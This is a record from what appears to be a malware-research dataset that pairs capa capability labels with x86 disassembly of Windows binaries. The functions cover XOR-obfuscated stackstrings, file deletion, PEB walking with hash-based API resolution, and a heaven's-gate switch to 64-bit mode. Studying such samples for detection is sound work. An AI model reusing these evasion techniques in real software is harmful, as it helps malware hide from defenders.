joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d4412
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.kernel32.dll__lcreat]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4d4438
jmp 0x4d454e
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll__lopen]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffff
jne 0x4d4458
jmp 0x4d454e
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov al, byte [ebp - 4]
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004d9551
add esp, 4
mov dword [0x4e80a0], 0
mov dword [ebp - 0x420], 0x646c6f47
mov dword [ebp - 0x41c], 0x6f736e65
mov byte [ebp - 0x418], 0x66
mov dword [ebp - 0x20], 0
jmp 0x4d44a5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 9
jge 0x4d44c5
mov eax, dword [ebp - 0x20]
movsx eax, byte [eax + ebp - 0x420]
xor al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ecx + ebp - 0x420], al
jmp 0x4d44a2
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x417], al
push 0xa
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll__lwrite]
push 0x400
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.kernel32.dll__lread]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4d452d
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.004d90f4
add esp, 8
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll__lwrite]
jmp 0x4d44e1
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll__lclose]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.kernel32.dll__lclose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4d4553
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
nop
leave
add esp, 4
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
leave
add esp, 4
push ebp
mov ebp, esp
sub esp, 0x20
push edi
push esi
push edx
push ecx
push ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call fcn.004d8e8d
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.004d8f15
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
push eax
call fcn.004d978f
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 2
jne 0x4d45d6
cmp dword [0x4e82d2], 1
jne 0x4d45d6
cmp dword [ebp - 0xc], 0
je 0x4d45d6
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d4412
add esp, 8
jmp 0x4d45e5
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_MoveFileA]
mov dword [ebp - 0x14], eax
pop ebx
pop ecx
pop edx
pop esi
pop edi
mov eax, dword [ebp - 0x14]
leave
ret 8
Function at 0x4d47d3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
nop
nop
leave
add esp, 4
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
leave
add esp, 4
push ebp
mov ebp, esp
sub esp, 0x20
push edi
push esi
push edx
push ecx
push ebx
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0
jmp 0x4d481b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1e
jge 0x4d4841
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp dword [eax*4 + 0x4e80a4], ecx
jne 0x4d483f
cmp dword [ebp - 0xc], 0
je 0x4d483d
mov eax, dword [ebp - 0xc]
add dword [eax + 8], 0xa
jmp 0x4d4841
jmp 0x4d4818
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_ReadFile]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x4d48e4
mov dword [ebp - 0x18], 0
jmp 0x4d486f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1e
jge 0x4d48e4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp dword [eax*4 + 0x4e80a4], ecx
jne 0x4d48e2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx*4 + 0x4e81b2]
cmp dword [eax*4 + 0x4e813a], ecx
jb 0x4d48d1
mov eax, dword [ebp - 0x10]
cmp dword [0x4e80a0], eax
je 0x4d48bf
mov eax, dword [ebp - 0x18]
mov al, byte [eax + 0x4e811c]
push eax
call fcn.004d9551
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [0x4e80a0], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d90a8
add esp, 8
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
add dword [ecx*4 + 0x4e813a], eax
jmp 0x4d48e4
jmp 0x4d486c
pop ebx
pop ecx
pop edx
pop esi
pop edi
mov eax, dword [ebp - 0x14]
leave
ret 0x14
Function at 0x4d48f5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
nop
leave
add esp, 4
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
leave
add esp, 4
push ebp
mov ebp, esp
sub esp, 0x20
push edi
push esi
push edx
push ecx
push ebx
mov eax, dword [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
jmp 0x4d4943
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1e
jge 0x4d49a5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
cmp dword [eax*4 + 0x4e80a4], ecx
jne 0x4d49a3
mov eax, dword [ebp - 0xc]
cmp dword [0x4e80a0], eax
je 0x4d497d
mov eax, dword [ebp - 0x18]
mov al, byte [eax + 0x4e811c]
push eax
call fcn.004d9551
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [0x4e80a0], eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d90f4
add esp, 8
mov dword [ebp - 0x10], 1
cmp dword [ebp - 8], 0
je 0x4d49a1
mov eax, dword [ebp - 8]
add dword [eax + 8], 0xa
jmp 0x4d49a5
jmp 0x4d4940
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteFile]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x4d49d3
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d90a8
add esp, 8
pop ebx
pop ecx
pop edx
pop esi
pop edi
mov eax, dword [ebp - 0x14]
leave
ret 0x14
Function at 0x4d9188
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], 0xffffffff
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov dword [ebp - 4], eax
push 0
push 0
push 0x1e
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov dword [ebp - 0xc], 0
jmp 0x4d91c7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jge 0x4d929d
push 0
lea eax, [ebp - 0x14]
push eax
push 0xa
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_ReadFile]
xor eax, eax
mov al, byte [ebp - 0x20]
cmp eax, 0x54
jne 0x4d9298
xor eax, eax
mov al, byte [ebp - 0x1f]
cmp eax, 0x44
je 0x4d9217
xor eax, eax
mov al, byte [ebp - 0x1f]
cmp eax, 0x64
je 0x4d9217
xor eax, eax
mov al, byte [ebp - 0x1f]
cmp eax, 0x53
jne 0x4d9298
mov al, byte [ebp - 0x17]
mov ecx, dword [ebp + 0x10]
mov byte [ecx], al
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
push eax
call fcn.004d9551
add esp, 4
xor eax, eax
mov al, byte [ebp - 0x1f]
cmp eax, 0x64
jne 0x4d926a
mov dword [0x4e82d2], 1
mov dword [ebp - 0x10], 0
jmp 0x4d924d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 7
jge 0x4d9268
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov cl, byte [eax + ebp - 0x1e]
xor cl, byte [ebp - 0x17]
mov eax, dword [ebp - 0x10]
mov byte [eax + ebp - 0x1e], cl
jmp 0x4d924a
jmp 0x4d9274
mov dword [0x4e82d2], 0
mov eax, dword [ebp - 0x1e]
xor eax, 0x19611225
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1a]
xor eax, 0x198931
and eax, 0xffffff
mov ecx, dword [ebp + 0xc]
add eax, dword [ecx]
mov dword [ebp - 8], eax
jmp 0x4d929d
jmp 0x4d91c4
push 0
push 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov eax, dword [ebp - 8]
jmp 0x4d92b4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4d93de
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 4], 0xffffffff
push 0
lea eax, [ebp - 0xc]
push eax
push 0xa
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_ReadFile]
mov dword [ebp - 8], 0
jmp 0x4d9410
inc dword [ebp - 8]
cmp dword [ebp - 8], 9
jge 0x4d942b
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + ebp - 0x18]
xor cl, byte [ebp - 0xf]
mov eax, dword [ebp - 8]
mov byte [eax + ebp - 0x18], cl
jmp 0x4d940d
cmp dword [ebp - 0x18], 0x646c6f47
jne 0x4d9475
cmp dword [ebp - 0x14], 0x6f736e65
jne 0x4d9475
xor eax, eax
mov al, byte [ebp - 0x10]
cmp eax, 0x66
jne 0x4d9475
mov al, byte [ebp - 0xf]
mov ecx, dword [ebp + 0x10]
mov byte [ecx], al
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
push eax
call fcn.004d9551
add esp, 4
cmp dword [ebp + 0xc], 0
je 0x4d946c
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
mov dword [ebp - 4], 0xa
jmp 0x4d9485
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov eax, dword [ebp - 4]
jmp 0x4d948a
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4d97ea
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
nop
leave
add esp, 4
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
leave
add esp, 4
push ebp
mov ebp, esp
sub esp, 0x20
push edi
push esi
push edx
push ecx
push ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d8e8d
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.004d8f15
add esp, 4
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d9a19
add esp, 8
cmp eax, 0xffffffff
je 0x4d984f
mov dword [ebp - 0x14], 1
jmp 0x4d9856
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 2
jne 0x4d9886
cmp dword [ebp - 8], 0
je 0x4d9886
cmp dword [ebp - 0x14], 0
je 0x4d9886
push 0x4e8a80
mov eax, dword [ebp - 4]
push eax
call fcn.004d9897
add esp, 8
pop ebx
pop ecx
pop edx
pop esi
pop edi
mov eax, dword [ebp - 8]
leave
ret 4

Function at 0x4d9a67
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov dword [ebp - 4], eax
push 2
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x4d9b3c
cmp dword [ebp - 8], 0
jne 0x4d9b3c
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov al, byte [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov byte [ecx], al
mov eax, dword [ebp + 0xc]
mov al, byte [eax]
push eax
call fcn.004d9551
add esp, 4
mov dword [ebp - 0x41c], 0x646c6f47
mov dword [ebp - 0x418], 0x6f736e65
mov byte [ebp - 0x414], 0x66
mov dword [ebp - 0x1c], 0
jmp 0x4d9af4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 9
jge 0x4d9b16
mov eax, dword [ebp - 0x1c]
movsx eax, byte [eax + ebp - 0x41c]
mov ecx, dword [ebp + 0xc]
xor al, byte [ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + ebp - 0x41c], al
jmp 0x4d9af1
mov eax, dword [ebp + 0xc]
mov al, byte [eax]
mov byte [ebp - 0x413], al
push 0
lea eax, [ebp - 0x1c]
push eax
push 0xa
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
jmp 0x4d9b4e
push 0
push 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4dd4e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ecx, dword [eax + 8]
push 0xfffffffffffffff0
add ecx, 0x646c6f47
pop esi
xor word [eax + 0xc], cx
xor word [eax + 0xe], cx
xor dword [eax + 0x110], ecx
xor byte [eax + 0x114], cl
mov dword [ebp + 8], ecx
lea ecx, [eax + 0x10]
sub esi, eax
mov edi, pe_nt_image_headers32
lea eax, [ecx + esi]
push 4
cdq
pop ebx
idiv ebx
mov al, byte [edx + ebp + 8]
xor byte [ecx], al
inc ecx
dec edi
jne 0x4dd51a
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4dd532
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov eax, dword [eax + 8]
mov dword [ebp + 0x10], pe_nt_image_headers32
add eax, 0x646c6f47
xor edi, edi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov esi, dword [eax + 4]
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 7]
mov eax, edi
push 4
cdq
pop ebx
idiv ebx
mov al, byte [edx + ebp - 4]
xor al, byte [esi + edi]
inc edi
mov byte [ecx], al
inc ecx
dec dword [ebp + 0x10]
jne 0x4dd55c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4dd579
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
jne 0x4dd5a1
xor eax, eax
leave
ret
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub eax, ecx
je 0x4dd5d5
dec eax
je 0x4dd5b5
dec eax
je 0x4dd5c7
jmp 0x4dd59d
cmp dword [ebp - 0x8c], ecx
jne 0x4dd5c1
push 4
jmp 0x4dd5d7
jbe 0x4dd5c7
push 5
jmp 0x4dd5d7
cmp dword [ebp - 0x90], 5
sbb eax, eax
add eax, 7
leave
ret
push 3
pop eax
leave
ret

Function at 0x4dd5da
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x48
mov eax, dword [edi]
mov cl, byte [eax]
mov al, byte [eax + 1]
mov byte [esi + 3], al
mov eax, dword [edi + 8]
mov byte [esi + 2], cl
mov eax, dword [eax]
mov dword [esi + 4], eax
call fcn.004dd677
mov dword [esi + 8], eax
lea ecx, [eax + 0x646c6f47]
mov eax, dword [edi]
mov dword [ebp + 8], ecx
mov dx, word [eax + 2]
xor dx, cx
mov word [esi + 0xc], dx
mov edx, dword [eax + 0x12]
mov edx, dword [edx]
xor edx, ecx
mov dword [esi + 0x110], edx
mov dx, word [eax + 8]
xor dx, cx
mov word [esi + 0xe], dx
mov dl, byte [eax + 0x16]
xor dl, cl
mov byte [esi + 0x114], dl
mov dx, word [eax + 4]
test dx, dx
jbe 0x4dd673
mov edi, dword [eax + 0xe]
push ebx
movzx eax, dx
xor ebx, ebx
lea ecx, [esi + 0x10]
mov dword [ebp + 0xc], eax
mov eax, ebx
push 4
cdq
pop esi
idiv esi
mov al, byte [edx + ebp + 8]
xor al, byte [edi + ebx]
inc ebx
mov byte [ecx], al
inc ecx
dec dword [ebp + 0xc]
jne 0x4dd65a
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x4dd6ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
add dword [ebp + 0x10], 0x646c6f47
mov eax, dword [eax]
mov dx, word [eax + 6]
test dx, dx
jbe 0x4dd711
push ebx
push esi
mov esi, dword [eax + 0xa]
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
lea ecx, [eax + 7]
movzx eax, dx
mov dword [ebp + 8], eax
mov eax, edi
push 4
cdq
pop ebx
idiv ebx
mov al, byte [edx + ebp + 0x10]
xor al, byte [ecx]
mov byte [esi + edi], al
inc edi
inc ecx
dec dword [ebp + 8]
jne 0x4dd6f6
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4ddbb4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push es
mov ax, 0x101f
mov es, ax
xor eax, eax
mov esi, eax
mov ecx, 0x8000
xor al, byte es:[esi]
inc esi
loop 0x4ddbca
pop es
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
test al, al
jne 0x4ddbdd
add al, 0x55
mov ecx, dword [ebp + 8]
pop esi
mov byte [ecx], al
xor al, al
leave
ret
Function at 0x4015b0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
and ecx, 0xffff
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4015f8
pop edi
pop esi
pop ebx
pop ecx
ret 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x401615
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret 0xc
mov edx, dword [esp + 0x1c]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401649
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret 0xc
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0xc]
push 0
mov ecx, dword [esp + 0x10]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret 0xc

Function at 0x402e75
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4071c8
cmp edx, dword [eax]
je 0x402e97
add eax, 8
inc ecx
cmp eax, 0x407258
jl 0x402e88
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4071c8]
jne 0x402fc5
mov eax, dword [0x4079ac]
cmp eax, 1
je 0x402f9f
test eax, eax
jne 0x402ec8
cmp dword [0x407114], 1
je 0x402f9f
cmp edx, 0xfc
je 0x402fc5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402eff
lea eax, [ebp - 0x1a4]
push 0x4064f8
push eax
call fcn.00403970
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403340
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402f42
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403340
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4064f4
push edi
call fcn.004046f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4064d8
push eax
call fcn.00403970
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403980
lea eax, [ebp - 0xa0]
push 0x4064d4
push eax
call fcn.00403980
push dword [esi + 0x4071cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403980
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4064ac
push eax
call fcn.0040465e
add esp, 0x2c
pop edi
jmp 0x402fc5
lea eax, [ebp + 8]
lea esi, [esi + 0x4071cc]
push 0
push eax
push dword [esi]
call fcn.00403340
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x45f5d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0045f780
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x45f6ce
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x45f671
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x45f6b4
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x45f688
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x45f6a3
test al, 0x40
je 0x45f69a
mov ecx, dword [edi + 0x20]
jmp 0x45f6a1
test al, 0x80
je 0x45f6b4
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x45f6b4
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x45f640
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x464d9f
Capabilities:
64-bit execution via heavens gate
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov ecx, 0x6a4abc5b
call fcn.00464f0a
test eax, eax
je 0x464f04
mov dword [esp + 4], eax
mov ecx, 0x3cfa685d
call fcn.00464f0a
test eax, eax
je 0x464f04
mov dword [esp + 8], eax
mov ecx, eax
mov edx, 0xc9616ee
call fcn.00464f72
test eax, eax
je 0x464f04
mov dword [esp + 0xc], eax
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0x18]
mov dword [esp + 0x10], edx
push 0x380
push 8
push edx
call eax
test eax, eax
je 0x464f04
mov dword [esp + 0x14], eax
lea eax, [eax + 0xf]
and eax, 0xfffffff0
mov dword [esp], eax
lea ecx, [eax + 8]
mov dword [eax], ecx
lea ecx, [ecx + 0x1b4]
mov dword [eax + 4], ecx
lea eax, [eax + 8]
mov ecx, dword fs:[0x18]
mov edx, dword [ecx + 0x20]
mov dword [eax + 0x18], edx
mov edx, dword [ecx + 0x24]
mov dword [eax + 0x20], edx
mov ecx, dword [esp + 4]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 8]
mov dword [eax], ecx
mov edx, dword [esp + 0xc]
mov dword [eax + 0xa8], edx
mov edx, dword [esp + 0x10]
mov dword [eax + 0x10], edx
push ebx
push ebp
call fcn.00464e61
jmp 0x464e6b
push ebx
lea ebx, [ebx + 0x27c]
lea ebp, [eax + 0xb0]
mov ecx, dword [eax]
mov edx, dword [ebx]
test edx, edx
je 0x464e90
call fcn.00464f72
mov dword [ebp], eax
lea ebx, [ebx + 4]
lea ebp, [ebp + 8]
jmp 0x464e7a
pop ebx
mov edx, dword [esp + 8]
mov edx, dword [edx]
lea ecx, [ebx + 0x25c]
mov dword [edx + 0x1a4], ecx
lea ecx, [ebx + 0x168]
mov dword [edx + 0x1a8], ecx
lea ecx, [ebx + 0x1d0]
mov dword [edx + 0x1b0], ecx
pop ebp
pop ebx
mov eax, dword [edx + 0xf0]
test eax, eax
jne 0x464ee1
mov eax, dword [edx + 0xb0]
test eax, eax
je 0x464f04
mov ecx, dword [esp]
mov edx, dword [edx + 0x10]
push ecx
push 0
push edx
call eax
xor eax, eax
jmp 0x464f04
xor ecx, ecx
dec ecx
lea edx, [esp + 4]
push 0
push 4
push edx
push 0x1a
push ecx
call eax
test eax, eax
js 0x464ec7
mov eax, dword [esp]
mov ecx, dword [esp + 4]
jecxz 0x464f04
jmp 0x46505a
mov esp, ebp
pop ebp
ret
mov word [ebp - 4], fs
mov ecx, 0x2b
mov fs, cx
and esp, 0xfffffff0
push 0x33
call 0x46506f
add dword [esp], 5
retf

Function at 0x464f0a
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x464f57
mov al, cl
cmp al, 0x61
jb 0x464f32
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x464f57
mov al, cl
cmp al, 0x61
jb 0x464f4a
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x464f23
cmp edx, dword [esp + 0x18]
je 0x464f67
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x464f1c
xor eax, eax
jmp 0x464f6a
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret